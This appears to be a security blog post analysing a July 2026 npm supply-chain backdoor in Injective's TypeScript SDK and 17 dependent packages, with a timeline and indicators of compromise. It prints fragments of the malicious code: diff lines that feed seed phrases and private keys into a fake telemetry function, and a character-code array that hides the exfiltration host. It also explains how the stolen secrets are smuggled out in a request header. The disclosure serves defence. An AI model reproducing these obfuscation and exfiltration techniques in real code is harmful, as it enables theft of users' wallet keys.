Back to Blog

Injective npm Supply Chain Attack: 18 Packages Backdoored to Steal Crypto Wallet Keys

On July 8, 2026, attackers used access to a trusted developer's account to slip a backdoor into a widely used software development kit for the Injective blockchain. Disguised as harmless analytics, the code quietly captured wallet recovery phrases and private keys and sent them to an attacker-controlled server the moment a wallet was created or loaded. Automatic publishing pushed the tainted code out to 18 related packages within minutes, and it stayed live for less than an hour before being pulled and fixed. If your application installed any of the affected packages during that window, or picked up a cached copy since, treat any wallet secrets it touched as exposed.
Sai Likhith
View LinkedIn

July 9, 2026

Share on X
Share on X
Share on LinkedIn
Share on Facebook
Follow our RSS feed
Table of Contents

On July 8, 2026, attackers used access to a trusted developer's account to slip a backdoor into a widely used software development kit for the Injective blockchain. Disguised as harmless analytics, the code quietly captured wallet recovery phrases and private keys and sent them to an attacker-controlled server the moment a wallet was created or loaded. Automatic publishing pushed the tainted code out to 18 related packages within minutes, and it stayed live for less than an hour before being pulled and fixed. If your application installed any of the affected packages during that window, or picked up a cached copy since, treat any wallet secrets it touched as exposed.

What Is @injectivelabs/sdk-ts?

@injectivelabs/sdk-ts is Injective Labs' official TypeScript SDK for building applications against the Injective blockchain — wallets, DEX frontends, trading bots, and indexers — in browser, Node, and React Native environments. It's maintained in the InjectiveLabs/injective-ts monorepo and is a required dependency for essentially any JavaScript or TypeScript application that constructs or signs Injective transactions.

PrivateKey.fromMnemonic() and PrivateKey.fromHex() are the SDK's canonical entry points for turning a user's BIP-39 seed phrase or raw hex private key into a usable signing key. That puts the backdoor directly on the hot path that every wallet-holding application calls with the single most sensitive secret it has.

Affected Packages

The attacker published malicious version 1.20.21 across 18 @injectivelabs scoped packages in the same monorepo release train — sdk-ts itself, plus 17 packages that pin an exact 1.20.21 dependency on it. All 18 were republished clean at 1.20.23 about 49 minutes later.

Package Infected Version
@injectivelabs/sdk-tsContains payload1.20.21
@injectivelabs/networks1.20.21
@injectivelabs/utils1.20.21
@injectivelabs/exceptions1.20.21
@injectivelabs/ts-types1.20.21
@injectivelabs/wallet-base1.20.21
@injectivelabs/wallet-core1.20.21
@injectivelabs/wallet-strategy1.20.21
@injectivelabs/wallet-cosmos1.20.21
@injectivelabs/wallet-cosmos-strategy1.20.21
@injectivelabs/wallet-cosmostation1.20.21
@injectivelabs/wallet-evm1.20.21
@injectivelabs/wallet-ledger1.20.21
@injectivelabs/wallet-trezor1.20.21
@injectivelabs/wallet-magic1.20.21
@injectivelabs/wallet-private-key1.20.21
@injectivelabs/wallet-turnkey1.20.21
@injectivelabs/wallet-wallet-connect1.20.21

The 17 non-sdk-ts packages were confirmed clean of the payload itself (no trackKeyDerivation/telemetry code) — they carry risk purely transitively, because their package.json pins @injectivelabs/sdk-ts@1.20.21 exactly, so installing any one of them also installs the backdoored SDK.

How the Attack Unfolded

Stage 1 Compromised Maintainer, Direct Push to Master

The npm provenance attestation for the malicious release resolves to git commit 5486f13e799d9c90095c5f581a04ad867d768f66 on refs/heads/master, built by GitHub Actions run 28975012939 via .github/workflows/publish.yaml — the repository's own trusted-publisher (OIDC) pipeline. No stolen npm token was needed; whoever did this only needed write access to the GitHub repo. Both malicious commits were authored and pushed under the identity of an existing, trusted maintainer:

commit 01219285b16ce85c70cdf47a71a551ff5e41f1ed
Author: thomasRalee <thomas.leera@gmail.com>
Date:   Wed, 8 Jul 2026 20:24:40 UTC
    chore: add key derivation telemetry for SDK usage analytics

commit fd105db9073a21a3b58d5bd32622204ec8b57993
Author: thomasRalee <thomas.leera@gmail.com>
Date:   Wed, 8 Jul 2026 20:48:14 UTC
    chore: add key derivation telemetry for SDK usage analytics   (cosmetic reformat)

commit 5486f13e799d9c90095c5f581a04ad867d768f66   <- version bump, triggers CI publish
Author: thomasRalee <thomas.leera@gmail.com>
Date:   Wed, 8 Jul 2026 20:54:02 UTC
    chore: add key derivation telemetry for SDK usage analytics   (import reorder)

thomasRalee is the same GitHub identity that appears as a listed maintainer on the npm package and that also publishes a personal @thomasralee/* scoped fork of several Injective packages — an established, credible contributor, not a newly created throwaway account. Both malicious commits went straight to master with no associated pull request, which means either direct push permissions or a bypassed branch-protection rule. That access pattern is consistent with a compromised legitimate account, not a stolen publish token, dependency confusion, or a typosquat.

Stage 2 The Payload: key-derivation-telemetry.ts

The first commit adds a new 79-line file disguised as an innocuous analytics helper, and wires a call to it into both wallet-construction static methods on PrivateKey:

+import { trackKeyDerivation } from '../../utils/key-derivation-telemetry.js'
 ...
   static fromMnemonic(words: string, path: string = DEFAULT_DERIVATION_PATH): PrivateKey {
+    trackKeyDerivation('fm', words)
     const hdNodeWallet = HDNodeWallet.fromPhrase(words, undefined, path)
     return new PrivateKey(new Wallet(hdNodeWallet.privateKey))
   }
 ...
   static fromHex(privateKey: string | Uint8Array): PrivateKey {
+    trackKeyDerivation('fh', typeof privateKey === 'string' ? privateKey : 'bytes')
     const isString = typeof privateKey === 'string'
     ...

The new file itself opens with a JSDoc comment engineered to survive a casual code review:

/**
 * Key derivation telemetry — collects anonymized usage metrics for SDK optimization.
 *
 * Tracks which key derivation methods are used (hex vs mnemonic) and derives
 * timing patterns to help the SDK team identify performance bottlenecks and
 * understand adoption of different key formats across the ecosystem.
 *
 * All metrics are fire-and-forget and never block or affect key derivation.
 *
 * @category Telemetry
 */

Underneath that comment, the destination hostname never appears as a plaintext string. It's stored as a JavaScript character-code array and reassembled at runtime:

const _e = [
  116, 101, 115, 116, 110, 101, 116, 46, 97, 114, 99, 104, 105, 118, 97, 108, 46,
  99, 104, 97, 105, 110, 46, 103, 114, 112, 99, 45, 119, 101, 98, 46, 105, 110, 106,
  101, 99, 116, 105, 118, 101, 46, 110, 101, 116, 119, 111, 114, 107,
]
const _d = () => _e.map((x) => String.fromCharCode(x)).join('')
const _ep = 'https://' + _d() + '/'

Decoding that array (String.fromCharCode on each element) yields:

testnet.archival.chain.grpc-web.injective.network

The domain is crafted to look like legitimate Injective gRPC-Web infrastructure, so it blends into traffic the SDK already generates — and it defeats a naive grep -rn "https://" scan of the source, since the string never appears literally anywhere in the file, only 48 integers do.

Stage 3 Trigger: Every Wallet Construction Call

Unlike a typical npm supply-chain attack, there's no postinstall/preinstall hook here — package.json#scripts is untouched. The backdoor is a runtime code-path injection: it fires every single time application code calls PrivateKey.fromMnemonic(words) (passing the full BIP-39 phrase) or PrivateKey.fromHex(privateKey) (passing the raw hex key when a string is provided; a placeholder 'bytes' is recorded otherwise). Both compiled bundle formats shipped in the tarball — dist/esm/accounts-jQ1GSgaW.js and dist/cjs/accounts-Cy0p4lLW.cjs — carry the identical logic.

Stage 4 Batching, Encoding, and Exfiltration

Each call pushes a string of the form "{method}:{value}:{timestamp}" (e.g. fm:my twelve word mnemonic phrase...:1783975179000) onto an in-memory queue and arms a single 2-second setTimeout. Any further key derivations inside that window get appended to the same queue and sent together, joined by | — reducing the number of outbound requests and batching multiple wallets derived in quick succession (e.g. a multi-account import) into one beacon.

On flush, the joined string is base64-encoded (Buffer.from(s,'utf-8').toString('base64') in Node, btoa(s) in the browser) and sent as an HTTPS POST to https://testnet.archival.chain.grpc-web.injective.network/. The encoded secret rides in the X-Request-Id request header, not the body — the body is empty. Content-Type: application/grpc-web+proto is set to visually and structurally mimic the legitimate gRPC-Web calls the SDK already makes to real Injective chain/indexer endpoints. In Node environments without fetch, it falls back to a raw https.request call with the same header shape. Every failure path is silently swallowed, so the exfiltration never throws, never logs, and never surfaces to the calling application or its error monitoring.

Stage 5 Detection and Revert

Roughly 22–52 minutes after the payload first landed, a commit titled revert: exfiltration telemetry — from the same thomasRalee identity — deleted key-derivation-telemetry.ts, removed both call sites from PrivateKey.ts, and rolled all 18 affected package.json files back:

commit 7c4b1a092d8cbbcda469bda5a88db2a742d15b4a
Author: thomasRalee <thomas.leera@gmail.com>
Date:   Thu, 9 Jul 2026 05:16:32 +0800 (2026-07-08T21:16:32Z)
    revert: exfiltration telemetry

 packages/sdk-ts/src/core/accounts/PrivateKey.ts              |  6 --
 packages/sdk-ts/src/utils/key-derivation-telemetry.ts        | 97 -----
 packages/{exceptions,networks,sdk-ts,ts-types,utils}/package.json          |  1 +
 packages/wallets/{wallet-base,wallet-core,wallet-cosmos,...}/package.json  | 12 files

Attack Timeline

2026-07-08  20:24 UTC First malicious commit 0121928 lands on master — adds key-derivation-telemetry.ts and wires it into PrivateKey.fromMnemonic() / fromHex()
20:48 UTC Second commit fd105db — cosmetic reformat of the payload file
20:54 UTC Version bump commit 5486f13 triggers the GitHub Actions OIDC trusted-publishing workflow
20:59:17 – 21:00:39 UTC All 18 @injectivelabs packages published to npm at version 1.20.21 Payload live
21:16 UTC Revert commit 7c4b1a0, titled “revert: exfiltration telemetry,” removes the payload and call sites
21:47:52 – 21:49:16 UTC Clean version 1.20.23 published across all 18 packages; 1.20.21 deprecated on npm Fixed

Indicators of Compromise

Type Indicator Description
Exfil domain testnet.archival.chain.grpc-web.injective.network Destination of POSTed secrets; decoded from a char-code array, never appears as plaintext in source
Exfil signature POST + Content-Type: application/grpc-web+proto + non-empty X-Request-Id Empty body; secret is base64-encoded and carried in the header instead — the pattern to hunt for in egress/proxy logs
Malicious files src/utils/key-derivation-telemetry.ts, dist/esm/accounts-jQ1GSgaW.js, dist/cjs/accounts-Cy0p4lLW.cjs Source and compiled locations of the payload in the 1.20.21 tarball
Function names trackKeyDerivation, _enc, _send, _flush Distinctive identifiers to grep for across other packages/forks
Compromised account thomasRalee / thomas.leera@gmail.com Existing npm maintainer whose identity authored both the malicious commits and the revert
npm integrity sha512-TMEWc0Hw2zA38HnCsLiZPWiwz4mRcDg94B5TDUAolQIXKsnY6xrE61iyffP0WuNZpQTrePCYZXuQFYaRQHFPPA== SRI hash to confirm whether a cached copy is the malicious sdk-ts@1.20.21 tarball

Explore Related Posts